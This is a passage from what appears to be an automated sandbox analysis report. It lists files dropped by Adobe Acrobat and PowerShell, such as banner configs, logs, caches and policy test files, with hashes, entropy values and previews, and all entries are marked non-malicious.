SHA-512:	675B4A429AFF7EFAF03E44AF0B22535FA0CE7B6520CC2C59EE58FB4F84FCE0B8379BEDC1FDB096757D8DB12092C420D7802D2CC1AC1597254D696DC76F12274C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.231232816105827
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJf+dPeUkwRe9:YvXKXLeYvR/ZwHAalG28Ukee9
MD5:	EEEB8C9F74743DD48BD1D438BD7031E4
SHA1:	EC581187F6D560A663C350A6E1D7B2BA3960C178
SHA-256:	0AD7DAF10F033A652281879939013AD99781607F38C53BB5A9E05CFAAA3B77A1
SHA-512:	00C9575611718AA2CF7E2AF6DC07D686F6FAA539058ADB5DCE08793096892ABD7C3406B6C65F019D07002849AB8B3FCF77E6A1077AFBBADE46C24351D9DFEE6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.229480807172654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfbPtdPeUkwRe9:YvXKXLeYvR/ZwHAalGDV8Ukee9
MD5:	209EF23331C2CDCE01F6FB450285F7A7
SHA1:	FFDF8D8610C26B5F3B69C4A19766E7803401CCEC
SHA-256:	ECA42913A36A8ABF2C77A8E1FF6BA3B8C2E018987BDE963410741618E750F02D
SHA-512:	7D885642A720B74863FA0F138A5B70D84340E63F46187BF6C9A85488B6C16A9C886918BB92F717CC65F7DA6132521D7D277AE864DCEFD69F361F3AD290A6FFC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.227770219263786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJf21rPeUkwRe9:YvXKXLeYvR/ZwHAalG+16Ukee9
MD5:	6FF4DE6B2FB873BBFFFF0703BF896764
SHA1:	1C143812ADFB922A587573D32ECC9487416A65F9
SHA-256:	108649CB542B7F7BBE103D5EE047382B99161D05E4138C3F510E38FB44B57E72
SHA-512:	18A4FB6D4BDCDB035B9CDDC2EA9C8217CAA82B2505A8F715B35BC043DD585A74CA1A7280AAE282B9AE1F091D92D8951F4FF4220764FA3220B2CD6768CF51777A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6641064117219
Encrypted:	false
SSDEEP:	24:Yv6XLeYJh+2amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6S:YvzYJh+4BgkDMUJUAh8cvM6S
MD5:	466EF50036D85B159288DAD6A57B6461
SHA1:	FC1E48C969F8C7685C1D5F2B69CF032C15C88738
SHA-256:	E964C09D6B0EF0AF4A8E7D7BE40376EFEE66A7351F9E311A1A65742A435EFAE9
SHA-512:	84428EAE5DFB04C06819172207A3E87C7AD962FEA9A09D04331E6766E1A11C0CFAAD242BF5B085E9308CF4F597B50CC75EA868148D9ECE6C5976DE764786DEB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.202464952021447
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfshHHrPeUkwRe9:YvXKXLeYvR/ZwHAalGUUUkee9
MD5:	DE14E54407473A0A35163B46EEDC58F1
SHA1:	1BD0FE6A200E67CD1813091F64F4BB424FD0C96A
SHA-256:	83E3BCE183BAA67DBE6000C5298734F4C5D61D97E26C24CCAE70D3949A96C482
SHA-512:	AF4EE30D38673E5F5EC1143AFCD8EA2B54179964E1AD8B8AF395D4B427CB54F2877CDFA52B3C960D5DBE0FCDB7EAF6B0D9222AB2A75EEBA098344D326D3A1FD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.224111644518545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJTqgFCrPeUkwRe9:YvXKXLeYvR/ZwHAalGTq16Ukee9
MD5:	461C98EAD0C2CDDC0FA502230F00D5C3
SHA1:	946E46FFE9AF7698AD8AF99E89318CA714005E7C
SHA-256:	55F67131E5285AD19DF9CF9063A08570DDFB6A1BDF62DD5B36962200ABEAC4F0
SHA-512:	A9325C74D2D5F3DDCF77C851728B4AB210A816AD8DBF2802DCD5CCDB6E9706CF6DB2F5AE9EA091CB666F2AF503C018BB9F17F30142BAA057198BAE59C8FDA36E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143262243712407
Encrypted:	false
SSDEEP:	24:YjVapg8naydY1nTaBmXMnjCLj0SNwV2w2LSHC5cGtMXG5G91uFJOG:YhpndcmGFtwcGtMWg9wF
MD5:	415F4955B907B9912709D2006A4C9B9A
SHA1:	94D09470BC5A800974F795F813F3646B654C7F84
SHA-256:	36AE1952CB1A587794ABD4C411D24E02C48A34D3B2D623677C0264158FA3BDB5
SHA-512:	6F767237DFC64ABF332C8B62C91B0867E1A1EBE4B722F9484B70D4F4879CB5AC6A13AA83E16406E1943420EBC4933942666F1162ECDC59F89CA1C9546B31E535
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b42c10c5565f6bd07e353a7e88777008","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568752000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9d38cdbbf161bcbec131daddc56ac442","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568752000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9cef875c0072b09d10f6d5796b500cd6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568752000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"34df66fb376165776c40b9cb8525a10f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568752000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9fcfd131f7b0e4c99dd5aee7d9622ef4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568752000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"27fd2d21c7df7e6f0d6b3ff1f8352464","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3200334454070937
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMemCOqtql:TGufl2GL7ms9WR1CPmPbPahjypilIx
MD5:	3058794070D5AC98C1D2D1EA033C2C23
SHA1:	B4D962069117F4FFFF64DA67B60B9A0754CF3C18
SHA-256:	B283B97D3750FDB16DADBE0810CA6BFB2FBF159F6EF0BAFD9BAE043C080D1C3A
SHA-512:	B45A8A2ED9F5EEC143F1714227240AD811AD30752E1806255E628332A1BAE0C7C456410A0F7B99E15E6EDDF77E67A535DAD45BA43CCBAB2406C95F4C03390652
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7812303497268231
Encrypted:	false
SSDEEP:	48:7MgEqWR1CPmPbPahiypilIwqFl2GL7msT:7WqWfMwbPahiJKVmsT
MD5:	7A569B5739D106D61E1B926708D22B3C
SHA1:	1F788A7F1F0D51861F63B381F17A4EA892A87FCE
SHA-256:	9375EFB616098DA4DCBA0F6640F16BCDAFD1967F685074CA71E3C6204EB22887
SHA-512:	996B4A9E2054ADB10481548EC93297B25A21DAA64B36E1E1C1BA6A9E0BC871CA96610389A4FD470FE634EE82CB0CC56F17249792D7537EEF4D3EAC31A8349DEC
Malicious:	false
Preview:	.... .c.......nZ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3/jbnLpCjLghLxLyPZx5e39beVQ1Yyu:6a6TZ44ADE3/jbLpWghLS5VQ1K
MD5:	083511F78A65185E9081DA60FC66B878
SHA1:	F0A7850EC888807809DBC2CB7DCAB904425160C1
SHA-256:	D9A364741F34AA1A7083B7C807778BF8C40A95C9ACD9F6E901ACF6B3DC842FB7
SHA-512:	A8B1C6A80C550DADEF1492C92C9B31FFC2E9F89BF06CB1A45A04CFB6D127FC2B3C6AFA1A6593725E922C249CC45118AA338CBF7AAE6AAD1080708635DECBE498
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI6de19.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClElDl:Qw946cPbiOxDlbYnuRK+bv
MD5:	A457E9B9112E6938E4882F5C5A87EF3E
SHA1:	81792B3286D76D1C3705E7380ABC1DE512D291DA
SHA-256:	2F4E5717697C4605264EC9B654F22F498B23DC22526D7D113F7A6F4FCA891F01
SHA-512:	10FD76CC994590DCAB62C9FD77FCC622AE58E9FAE835F6113BC4E3E6E6A2CC08795B546A1600581EDD5C1BF145F727EA7700C5C94B8F85EB8B8B927F882ACFD6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.2.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5f2u4qut.elc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivy05gyb.njk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-12-28-136.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.372425330583597
Encrypted:	false
SSDEEP:	384:zdnI/tJpMhQaxzoD+B8/VI5ViDFBGL7RsPJzt1T2fs5pfCb4yXuOqbqryTJzE+27:sl0
MD5:	D435B89A984898B6967701AB13231452
SHA1:	1653368FF27FFE73DEF1F5224F151678430A9D1F
SHA-256:	C4D16148DC78D4A8F074EB7C2221EDD4306155D41D9C8AF27983CF0E695BF552
SHA-512:	CFAAD1101AB38CE9010ABC627952053F2B695A18A7AE4A6530FAA66EBEFFCE9AEB5CCA304B423F7845329ED13FD6F2315EF088B12976C1815D84C403CBD0612B
Malicious:	false
Preview:	SessionID=4c9ac169-a446-4edb-be76-371ce87623ff.1736568748150 Timestamp=2025-01-10T23:12:28:150-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4c9ac169-a446-4edb-be76-371ce87623ff.1736568748150 Timestamp=2025-01-10T23:12:28:151-0500 ThreadID=6952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4c9ac169-a446-4edb-be76-371ce87623ff.1736568748150 Timestamp=2025-01-10T23:12:28:151-0500 ThreadID=6952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4c9ac169-a446-4edb-be76-371ce87623ff.1736568748150 Timestamp=2025-01-10T23:12:28:151-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4c9ac169-a446-4edb-be76-371ce87623ff.1736568748150 Timestamp=2025-01-10T23:12:28:151-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400877359307255
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbUgcbmI1vcbKK:ceo4+rsCat1BK
MD5:	A0A6450DF968588888AC582CC3B09571
SHA1:	C064F5A02066337E8D06D0E3166A9CD703475B4E
SHA-256:	5274823D7C45F79706E606F46C9EC3B5E01852578F3B729C716B4BE3E95290EB
SHA-512:	0D1F157351D7AE984DC45E0DED8C6B7BA030412163F218BAA28F3870CA27C2C2814546FFBCB3FDF14DD266F9308709FF29D7EA2F8736D8523E31720FA0A2A96A
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5bea80b0-0d66-4f4d-a50a-f20b06c45d7b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6e3e0197-e999-4521-917a-f82c6054a0ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
